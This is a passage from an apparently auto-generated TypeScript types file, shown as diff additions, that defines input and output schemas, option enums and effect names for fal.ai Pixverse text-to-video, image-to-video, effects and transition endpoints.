inputFalAiPixverseV35TransitionAspectRatioEnum = { + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputFalAiPixverseV35TransitionAspectRatioEnumKey = + (typeof inputFalAiPixverseV35TransitionAspectRatioEnum)[keyof typeof inputFalAiPixverseV35TransitionAspectRatioEnum] + +export const inputFalAiPixverseV35TransitionStyle = { + anime: 'anime', + '3d_animation': '3d_animation', + clay: 'clay', + comic: 'comic', + cyberpunk: 'cyberpunk', +} as const + +export type InputFalAiPixverseV35TransitionStyleKey = + (typeof inputFalAiPixverseV35TransitionStyle)[keyof typeof inputFalAiPixverseV35TransitionStyle] + +export const inputFalAiPixverseV35TransitionDurationEnum = { + '5': '5', + '8': '8', +} as const + +export type InputFalAiPixverseV35TransitionDurationEnumKey = + (typeof inputFalAiPixverseV35TransitionDurationEnum)[keyof typeof inputFalAiPixverseV35TransitionDurationEnum] + +export const inputFalAiPixverseV35TransitionResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiPixverseV35TransitionResolutionEnumKey = + (typeof inputFalAiPixverseV35TransitionResolutionEnum)[keyof typeof inputFalAiPixverseV35TransitionResolutionEnum] + +export type InputFalAiPixverseV35Transition = { + /** + * @description The aspect ratio of the generated video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiPixverseV35TransitionAspectRatioEnumKey + /** + * @description URL of the image to use as the first frame + * @example https://v3.fal.media/files/zebra/owQh2DAzk8UU7J02nr5RY_Co2P4boLv6meIZ5t9gKvL_8685da151df343ab8bf82165c928e2a5.jpg + * @type string + */ + first_image_url: string + /** + * @description Negative prompt to be used for the generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @default '' + * @example blurry, low quality, low resolution, pixelated, noisy, grainy, out of focus, poorly lit, poorly exposed, poorly composed, poorly framed, poorly cropped, poorly color corrected, poorly color graded + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The style of the generated video + */ + style?: InputFalAiPixverseV35TransitionStyleKey | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The prompt for the transition. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @example Scene slowly transition into cat swimming under water + * @type string + */ + prompt: string + /** + * @description The duration of the generated video in seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiPixverseV35TransitionDurationEnumKey + /** + * @description URL of the image to use as the last frame + * @example https://v3.fal.media/files/kangaroo/RgedFs_WSnq5BgER7qDx1_ONrbTJ1YAGXz-9JnSsBoB_bdc8750387734bfe940319f469f7b0b2.jpg + * @type string + */ + end_image_url: string + /** + * @description The resolution of the generated video + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseV35TransitionResolutionEnumKey + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same video every time. + * + */ + seed?: number | null +} + +export type File6E60037B = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseV35Transition = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":3890360,"url":"https://fal.media/files/panda/5KmKS-mh1vO-htbqE5oex_output.mp4"} + * @type object + */ + video: File6E60037B +} + +export const inputFalAiPixverseV45EffectsEffectEnum = { + 'Kiss Me AI': 'Kiss Me AI', + Kiss: 'Kiss', + 'Muscle Surge': 'Muscle Surge', + 'Warmth of Jesus': 'Warmth of Jesus', + 'Anything, Robot': 'Anything, Robot', + 'The Tiger Touch': 'The Tiger Touch', + Hug: 'Hug', + 'Holy Wings': 'Holy Wings', + Microwave: 'Microwave', + 'Zombie Mode': 'Zombie Mode', + 'Squid Game': 'Squid Game', + 'Baby Face': 'Baby Face', + 'Black Myth: Wukong': 'Black Myth: Wukong', + 'Long Hair Magic': 'Long Hair Magic', + 'Leggy Run': 'Leggy Run', + 'Fin-tastic Mermaid': 'Fin-tastic Mermaid', + 'Punch Face': 'Punch Face', + 'Creepy Devil Smile': 'Creepy Devil Smile', + 'Thunder God': 'Thunder God', + 'Eye Zoom Challenge': 'Eye Zoom Challenge', + "Who's Arrested?": "Who's Arrested?", + 'Baby Arrived': 'Baby Arrived', + 'Werewolf Rage': 'Werewolf Rage', + 'Bald Swipe': 'Bald Swipe', + 'BOOM DROP': 'BOOM DROP', + 'Huge Cutie': 'Huge Cutie', + 'Liquid Metal': 'Liquid Metal', + 'Sharksnap!': 'Sharksnap!', + 'Dust Me Away': 'Dust Me Away', + '3D Figurine Factor': '3D Figurine Factor', + 'Bikini Up': 'Bikini Up', + 'My Girlfriends': 'My Girlfriends', + 'My Boyfriends': 'My Boyfriends', + 'Subject 3 Fever': 'Subject 3 Fever', + 'Earth Zoom': 'Earth Zoom', + 'Pole Dance': 'Pole Dance', + 'Vroom Dance': 'Vroom Dance', + 'GhostFace Terror': 'GhostFace Terror', + 'Dragon Evoker': 'Dragon Evoker', + 'Skeletal Bae': 'Skeletal Bae', + 'Summoning succubus': 'Summoning succubus', + 'Halloween Voodoo Doll': 'Halloween Voodoo Doll', + '3D Naked-Eye AD': '3D Naked-Eye AD', + 'Package Explosion': 'Package Explosion', + 'Dishes Served': 'Dishes Served', + 'Ocean ad': 'Ocean ad', + 'Supermarket AD': 'Supermarket AD', + 'Tree doll': 'Tree doll', + 'Come Feel My Abs': 'Come Feel My Abs', + 'The Bicep Flex': 'The Bicep Flex', + 'London Elite Vibe': 'London Elite Vibe', + 'Flora Nymph Gown': 'Flora Nymph Gown', + 'Christmas Costume': 'Christmas Costume', + "It's Snowy": "It's Snowy", + 'Reindeer Cruiser': 'Reindeer Cruiser', + 'Snow Globe Maker': 'Snow Globe Maker', + 'Pet Christmas Outfit': 'Pet Christmas Outfit', + 'Adopt a Polar Pal': 'Adopt a Polar Pal', + 'Cat Christmas Box': 'Cat Christmas Box', + 'Starlight Gift Box': 'Starlight Gift Box', + 'Xmas Poster': 'Xmas Poster', + 'Pet Christmas Tree': 'Pet Christmas Tree', + 'City Santa Hat': 'City Santa Hat', + 'Stocking Sweetie': 'Stocking Sweetie', + 'Christmas Night': 'Christmas Night', + 'Xmas Front Page Karma': 'Xmas Front Page Karma', + "Grinch's Xmas Hijack": "Grinch's Xmas Hijack", + 'Giant Product': 'Giant Product', + 'Truck Fashion Shoot': 'Truck Fashion Shoot', + 'Beach AD': 'Beach AD', + 'Shoal Surround': 'Shoal Surround', + 'Mechanical Assembly': 'Mechanical Assembly', + 'Lighting AD': 'Lighting AD', + 'Billboard AD': 'Billboard AD', + 'Product close-up': 'Product close-up', + 'Parachute Delivery': 'Parachute Delivery', + 'Dreamlike Cloud': 'Dreamlike Cloud', + 'Macaron Machine': 'Macaron Machine', + 'Poster AD': 'Poster AD', + 'Truck AD': 'Truck AD', + 'Graffiti AD': 'Graffiti AD', + '3D Figurine Factory': '3D Figurine Factory', + 'The Exclusive First Class': 'The Exclusive First Class', + 'Art Zoom Challenge': 'Art Zoom Challenge', + 'I Quit': 'I Quit', + 'Hitchcock Dolly Zoom': 'Hitchcock Dolly Zoom', + 'Smell the Lens': 'Smell the Lens', + 'I believe I can fly': 'I believe I can fly', + 'Strikout Dance': 'Strikout Dance', + 'Courtside Cam': 'Courtside Cam', + 'Pit Crew Moment': 'Pit Crew Moment', + 'K-Baseball Sprint': 'K-Baseball Sprint', + 'Toddler Doodle': 'Toddler Doodle', + 'Idol Ending': 'Idol Ending', + 'Apex Dance': 'Apex Dance', + 'OmniHero Forge': 'OmniHero Forge', + 'Palm Decode': 'Palm Decode', + 'The Age Ripple': 'The Age Ripple', + 'My Future Is Limitless': 'My Future Is Limitless', + 'Knee Slide': 'Knee Slide', + 'Epic Goal Save': 'Epic Goal Save', + 'Sideline Ball Boy': 'Sideline Ball Boy', + 'Cup Celebration': 'Cup Celebration', + 'Victory Roar': 'Victory Roar', + 'Vuvuzela Fan': 'Vuvuzela Fan', + 'World Champion Lift': 'World Champion Lift', + 'Tunnel to Captain': 'Tunnel to Captain', + 'Liquid Soccer Morph': 'Liquid Soccer Morph', + 'Jump Into Crowd 2': 'Jump Into Crowd 2', + 'Golden Pitch Crasher': 'Golden Pitch Crasher', + 'Stadium Fan Cam': 'Stadium Fan Cam', + 'Broadcast Moto GP': 'Broadcast Moto GP', + 'The Grotesque Clay': 'The Grotesque Clay', + 'Rookie Star Card': 'Rookie Star Card', + 'The Final Hug': 'The Final Hug', + 'Sharp Post-Match Comment': 'Sharp Post-Match Comment', + 'Street Maverick': 'Street Maverick', + 'Pitch Legend': 'Pitch Legend', + 'One Step At A Time': 'One Step At A Time', + 'Birthday Mirror': 'Birthday Mirror', + 'Superstar Lobby': 'Superstar Lobby', + 'Final Battle Room': 'Final Battle Room', + 'Top of the World': 'Top of the World', + 'Mini Me Unboxed': 'Mini Me Unboxed', + 'WonderPOP Surprise': 'WonderPOP Surprise', + 'White Chicks': 'White Chicks', + 'Kiss me': 'Kiss me', + 'What a Day': 'What a Day', + 'The Last Leap at Sunset': 'The Last Leap at Sunset', + 'Tiny Sticker Chef Chaos': 'Tiny Sticker Chef Chaos', + 'Mini Squeeze Toy': 'Mini Squeeze Toy', + 'Tearful Gunman': 'Tearful Gunman', + 'Street Fashion Caricature': 'Street Fashion Caricature', + 'Mini Me Makeover': 'Mini Me Makeover', + 'Street Art Awakening': 'Street Art Awakening', + 'Hug Together': 'Hug Together', + 'ACAI dance Duet': 'ACAI dance Duet', + 'PUBG Winner Hit!': 'PUBG Winner Hit!', + 'Blocky Mini-Me': 'Blocky Mini-Me', + 'Cheat Day Busted': 'Cheat Day Busted', + 'MiniSocial Recharge': 'MiniSocial Recharge', + 'My Little Perler Charm': 'My Little Perler Charm', + 'Where did this cobweb come from?': 'Where did this cobweb come from?', + 'Holy Beast Summoning Technique': 'Holy Beast Summoning Technique', + "IT'S THE FIRST OF THE MONTH": "IT'S THE FIRST OF THE MONTH", + 'Pet Editorial': 'Pet Editorial', + 'Three lifetime bond': 'Three lifetime bond', + 'Pixel World': 'Pixel World', + 'Mint in Box': 'Mint in Box', + 'Hands up, Hand': 'Hands up, Hand', + 'Flora Nymph Go': 'Flora Nymph Go', + 'Somber Embrace': 'Somber Embrace', + 'Beam me up': 'Beam me up', + 'Suit Swagger': 'Suit Swagger', +} as const + +export type InputFalAiPixverseV45EffectsEffectEnumKey = + (typeof inputFalAiPixverseV45EffectsEffectEnum)[keyof typeof inputFalAiPixverseV45EffectsEffectEnum] + +export const inputFalAiPixverseV45EffectsResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiPixverseV45EffectsResolutionEnumKey = + (typeof inputFalAiPixverseV45EffectsResolutionEnum)[keyof typeof inputFalAiPixverseV45EffectsResolutionEnum] + +export const inputFalAiPixverseV45EffectsDurationEnum = { + '5': '5', + '8': '8', +} as const + +export type InputFalAiPixverseV45EffectsDurationEnumKey = + (typeof inputFalAiPixverseV45EffectsDurationEnum)[keyof typeof inputFalAiPixverseV45EffectsDurationEnum] + +export type InputFalAiPixverseV45Effects = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Optional URL of the image to use as the first frame. If not provided, generates from text + * @example https://v3.fal.media/files/koala/q5ahL3KS7ikt3MvpNUG8l_image%20(72).webp + * @type string + */ + image_url: string + /** + * @description The effect to apply to the video + * @type string + */ + effect: InputFalAiPixverseV45EffectsEffectEnumKey + /** + * @description The resolution of the generated video. + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseV45EffectsResolutionEnumKey + /** + * @description Negative prompt to be used for the generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The duration of the generated video in seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiPixverseV45EffectsDurationEnumKey +} + +export type FileEe2Dd259 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseV45Effects = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":3232402,"url":"https://fal.media/files/koala/awGY1lJd7lVsqQeSqjWqn_output.mp4"} + * @type object + */ + video: FileEe2Dd259 +} + +export const inputFalAiPixverseV45ImageToVideoCameraMovement = { + horizontal_left: 'horizontal_left', + horizontal_right: 'horizontal_right', + vertical_up: 'vertical_up', + vertical_down: 'vertical_down', + zoom_in: 'zoom_in', + zoom_out: 'zoom_out', + crane_up: 'crane_up', + quickly_zoom_in: 'quickly_zoom_in', + quickly_zoom_out: 'quickly_zoom_out', + smooth_zoom_in: 'smooth_zoom_in', + camera_rotation: 'camera_rotation', + robo_arm: 'robo_arm', + super_dolly_out: 'super_dolly_out', + whip_pan: 'whip_pan', + hitchcock: 'hitchcock', + left_follow: 'left_follow', + right_follow: 'right_follow', + pan_left: 'pan_left', + pan_right: 'pan_right', + fix_bg: 'fix_bg', +} as const + +export type InputFalAiPixverseV45ImageToVideoCameraMovementKey = + (typeof inputFalAiPixverseV45ImageToVideoCameraMovement)[keyof typeof inputFalAiPixverseV45ImageToVideoCameraMovement] + +export const inputFalAiPixverseV45ImageToVideoStyle = { + anime: 'anime', + '3d_animation': '3d_animation', + clay: 'clay', + comic: 'comic', + cyberpunk: 'cyberpunk', +} as const + +export type InputFalAiPixverseV45ImageToVideoStyleKey = + (typeof inputFalAiPixverseV45ImageToVideoStyle)[keyof typeof inputFalAiPixverseV45ImageToVideoStyle] + +export const inputFalAiPixverseV45ImageToVideoDurationEnum = { + '5': '5', + '8': '8', +} as const + +export type InputFalAiPixverseV45ImageToVideoDurationEnumKey = + (typeof inputFalAiPixverseV45ImageToVideoDurationEnum)[keyof typeof inputFalAiPixverseV45ImageToVideoDurationEnum] + +export const inputFalAiPixverseV45ImageToVideoResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiPixverseV45ImageToVideoResolutionEnumKey = + (typeof inputFalAiPixverseV45ImageToVideoResolutionEnum)[keyof typeof inputFalAiPixverseV45ImageToVideoResolutionEnum] + +export type InputFalAiPixverseV45ImageToVideo = { + /** + * @description The type of camera movement to apply to the video + */ + camera_movement?: InputFalAiPixverseV45ImageToVideoCameraMovementKey | null + /** + * @description URL of the image to use as the first frame + * @example https://v3.fal.media/files/zebra/qL93Je8ezvzQgDOEzTjKF_KhGKZTEebZcDw6T5rwQPK_output.png + * @type string + */ + image_url: string + /** + * @description The style of the generated video + */ + style?: InputFalAiPixverseV45ImageToVideoStyleKey | null + /** + * @description Negative prompt to be used for the generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @default '' + * @example blurry, low quality, low resolution, pixelated, noisy, grainy, out of focus, poorly lit, poorly exposed, poorly composed, poorly framed, poorly cropped, poorly color corrected, poorly color graded + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text prompt for the video generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @example A woman warrior with her hammer walking with his glacier wolf. + * @type string + */ + prompt: string + /** + * @description The duration of the generated video in seconds. 8s videos cost double. 1080p videos are limited to 5 seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiPixverseV45ImageToVideoDurationEnumKey + /** + * @description The resolution of the generated video + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseV45ImageToVideoResolutionEnumKey + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same video every time. + * + */ + seed?: number | null +} + +export type FileD0295640 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseV45ImageToVideo = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":6420765,"url":"https://fal.media/files/koala/HEWK7BBwqWrz7F5nAZzp7_output.mp4"} + * @type object + */ + video: FileD0295640 +} + +export const inputFalAiPixverseV45ImageToVideoFastCameraMovement = { + horizontal_left: 'horizontal_left', + horizontal_right: 'horizontal_right', + vertical_up: 'vertical_up', + vertical_down: 'vertical_down', + zoom_in: 'zoom_in', + zoom_out: 'zoom_out', + crane_up: 'crane_up', + quickly_zoom_in: 'quickly_zoom_in', + quickly_zoom_out: 'quickly_zoom_out', + smooth_zoom_in: 'smooth_zoom_in', + camera_rotation: 'camera_rotation', + robo_arm: 'robo_arm', + super_dolly_out: 'super_dolly_out', + whip_pan: 'whip_pan', + hitchcock: 'hitchcock', + left_follow: 'left_follow', + right_follow: 'right_follow', + pan_left: 'pan_left', + pan_right: 'pan_right', + fix_bg: 'fix_bg', +} as const + +export type InputFalAiPixverseV45ImageToVideoFastCameraMovementKey = + (typeof inputFalAiPixverseV45ImageToVideoFastCameraMovement)[keyof typeof inputFalAiPixverseV45ImageToVideoFastCameraMovement] + +export const inputFalAiPixverseV45ImageToVideoFastStyle = { + anime: 'anime', + '3d_animation': '3d_animation', + clay: 'clay', + comic: 'comic', + cyberpunk: 'cyberpunk', +} as const + +export type InputFalAiPixverseV45ImageToVideoFastStyleKey = + (typeof inputFalAiPixverseV45ImageToVideoFastStyle)[keyof typeof inputFalAiPixverseV45ImageToVideoFastStyle] + +export const inputFalAiPixverseV45ImageToVideoFastResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', +} as const + +export type InputFalAiPixverseV45ImageToVideoFastResolutionEnumKey = + (typeof inputFalAiPixverseV45ImageToVideoFastResolutionEnum)[keyof typeof inputFalAiPixverseV45ImageToVideoFastResolutionEnum] + +export type InputFalAiPixverseV45ImageToVideoFast = { + /** + * @description The type of camera movement to apply to the video + */ + camera_movement?: InputFalAiPixverseV45ImageToVideoFastCameraMovementKey | null + /** + * @description URL of the image to use as the first frame + * @example https://v3.fal.media/files/zebra/qL93Je8ezvzQgDOEzTjKF_KhGKZTEebZcDw6T5rwQPK_output.png + * @type string + */ + image_url: string + /** + * @description The style of the generated video + */ + style?: InputFalAiPixverseV45ImageToVideoFastStyleKey | null + /** + * @description Negative prompt to be used for the generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @default '' + * @example blurry, low quality, low resolution, pixelated, noisy, grainy, out of focus, poorly lit, poorly exposed, poorly composed, poorly framed, poorly cropped, poorly color corrected, poorly color graded + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text prompt for the video generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @example A woman warrior with her hammer walking with his glacier wolf. + * @type string + */ + prompt: string + /** + * @description The resolution of the generated video + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseV45ImageToVideoFastResolutionEnumKey + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same video every time. + * + */ + seed?: number | null +} + +export type File44A01Df5 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseV45ImageToVideoFast = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":6420765,"url":"https://fal.media/files/koala/HEWK7BBwqWrz7F5nAZzp7_output.mp4"} + * @type object + */ + video: File44A01Df5 +} + +export const inputFalAiPixverseV45TextToVideoAspectRatioEnum = { + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputFalAiPixverseV45TextToVideoAspectRatioEnumKey = + (typeof inputFalAiPixverseV45TextToVideoAspectRatioEnum)[keyof typeof inputFalAiPixverseV45TextToVideoAspectRatioEnum] + +export const inputFalAiPixverseV45TextToVideoStyle = { + anime: 'anime', + '3d_animation': '3d_animation', + clay: 'clay', + comic: 'comic', + cyberpunk: 'cyberpunk', +} as const + +export type InputFalAiPixverseV45TextToVideoStyleKey = + (typeof inputFalAiPixverseV45TextToVideoStyle)[keyof typeof inputFalAiPixverseV45TextToVideoStyle] + +export const inputFalAiPixverseV45TextToVideoDurationEnum = { + '5': '5', + '8': '8', +} as const + +export type InputFalAiPixverseV45TextToVideoDurationEnumKey = + (typeof inputFalAiPixverseV45TextToVideoDurationEnum)[keyof typeof inputFalAiPixverseV45TextToVideoDurationEnum] + +export const inputFalAiPixverseV45TextToVideoResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiPixverseV45TextToVideoResolutionEnumKey = + (typeof inputFalAiPixverseV45TextToVideoResolutionEnum)[keyof typeof inputFalAiPixverseV45TextToVideoResolutionEnum] + +export type InputFalAiPixverseV45TextToVideo = { + /** + * @description The aspect ratio of the generated video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiPixverseV45TextToVideoAspectRatioEnumKey + /** + * @description Negative prompt to be used for the generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @default '' + * @example blurry, low quality, low resolution, pixelated, noisy, grainy, out of focus, poorly lit, poorly exposed, poorly composed, poorly framed, poorly cropped, poorly color corrected, poorly color graded + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The style of the generated video + */ + style?: InputFalAiPixverseV45TextToVideoStyleKey | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text prompt for the video generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @example Epic low-cut camera capture of a girl clad in ultraviolet threads, Peter Max art style depiction, luminous diamond skin glistening under a vast moon's radiance, embodied in a superhuman flight among mystical ruins, symbolizing a deity's ritual ascent, hyper-detailed + * @type string + */ + prompt: string + /** + * @description The duration of the generated video in seconds. 8s videos cost double. 1080p videos are limited to 5 seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiPixverseV45TextToVideoDurationEnumKey + /** + * @description The resolution of the generated video + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseV45TextToVideoResolutionEnumKey + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same video every time. + * + */ + seed?: number | null +} + +export type File02A6217E = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseV45TextToVideo = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":5485412,"url":"https://fal.media/files/lion/_fVEU5nzHND_fHGQUhXEm_output.mp4"} + * @type object + */ + video: File02A6217E +} + +export const inputFalAiPixverseV45TextToVideoFastAspectRatioEnum = { + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputFalAiPixverseV45TextToVideoFastAspectRatioEnumKey = + (typeof inputFalAiPixverseV45TextToVideoFastAspectRatioEnum)[keyof typeof inputFalAiPixverseV45TextToVideoFastAspectRatioEnum] + +export const inputFalAiPixverseV45TextToVideoFastResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', +} as const + +export type InputFalAiPixverseV45TextToVideoFastResolutionEnumKey = + (typeof inputFalAiPixverseV45TextToVideoFastResolutionEnum)[keyof typeof inputFalAiPixverseV45TextToVideoFastResolutionEnum] + +export const inputFalAiPixverseV45TextToVideoFastStyle = { + anime: 'anime', + '3d_animation': '3d_animation', + clay: 'clay', + comic: 'comic', + cyberpunk: 'cyberpunk', +} as const + +export type InputFalAiPixverseV45TextToVideoFastStyleKey = + (typeof inputFalAiPixverseV45TextToVideoFastStyle)[keyof typeof inputFalAiPixverseV45TextToVideoFastStyle] + +export type InputFalAiPixverseV45TextToVideoFast = { + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same video every time. + * + */ + seed?: number | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text prompt for the video generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @example Epic low-cut camera capture of a girl clad in ultraviolet threads, Peter Max art style depiction, luminous diamond skin glistening under a vast moon's radiance, embodied in a superhuman flight among mystical ruins, symbolizing a deity's ritual ascent, hyper-detailed + * @type string + */ + prompt: string + /** + * @description The aspect ratio of the generated video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiPixverseV45TextToVideoFastAspectRatioEnumKey + /** + * @description The resolution of the generated video + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseV45TextToVideoFastResolutionEnumKey + /** + * @description Negative prompt to be used for the generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @default '' + * @example blurry, low quality, low resolution, pixelated, noisy, grainy, out of focus, poorly lit, poorly exposed, poorly composed, poorly framed, poorly cropped, poorly color corrected, poorly color graded + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The style of the generated video + */ + style?: InputFalAiPixverseV45TextToVideoFastStyleKey | null +} + +export type File54A6786B = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseV45TextToVideoFast = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":5485412,"url":"https://fal.media/files/lion/_fVEU5nzHND_fHGQUhXEm_output.mp4"} + * @type object + */ + video: File54A6786B +} + +export const inputFalAiPixverseV45TransitionAspectRatioEnum = { + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputFalAiPixverseV45TransitionAspectRatioEnumKey = + (typeof inputFalAiPixverseV45TransitionAspectRatioEnum)[keyof typeof inputFalAiPixverseV45TransitionAspectRatioEnum] + +export const inputFalAiPixverseV45TransitionStyle = { + anime: 'anime', + '3d_animation': '3d_animation', + clay: 'clay', + comic: 'comic', + cyberpunk: 'cyberpunk', +} as const + +export type InputFalAiPixverseV45TransitionStyleKey = + (typeof inputFalAiPixverseV45TransitionStyle)[keyof typeof inputFalAiPixverseV45TransitionStyle] + +export const inputFalAiPixverseV45TransitionDurationEnum = { + '5': '5', + '8': '8', +} as const + +export type InputFalAiPixverseV45TransitionDurationEnumKey = + (typeof inputFalAiPixverseV45TransitionDurationEnum)[keyof typeof inputFalAiPixverseV45TransitionDurationEnum] + +export const inputFalAiPixverseV45TransitionResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiPixverseV45TransitionResolutionEnumKey = + (typeof inputFalAiPixverseV45TransitionResolutionEnum)[keyof typeof inputFalAiPixverseV45TransitionResolutionEnum] + +export type InputFalAiPixverseV45Transition = { + /** + * @description The aspect ratio of the generated video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiPixverseV45TransitionAspectRatioEnumKey + /** + * @description URL of the image to use as the first frame + * @example https://v3.fal.media/files/zebra/owQh2DAzk8UU7J02nr5RY_Co2P4boLv6meIZ5t9gKvL_8685da151df343ab8bf82165c928e2a5.jpg + * @type string + */ + first_image_url: string + /** + * @description Negative prompt to be used for the generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather 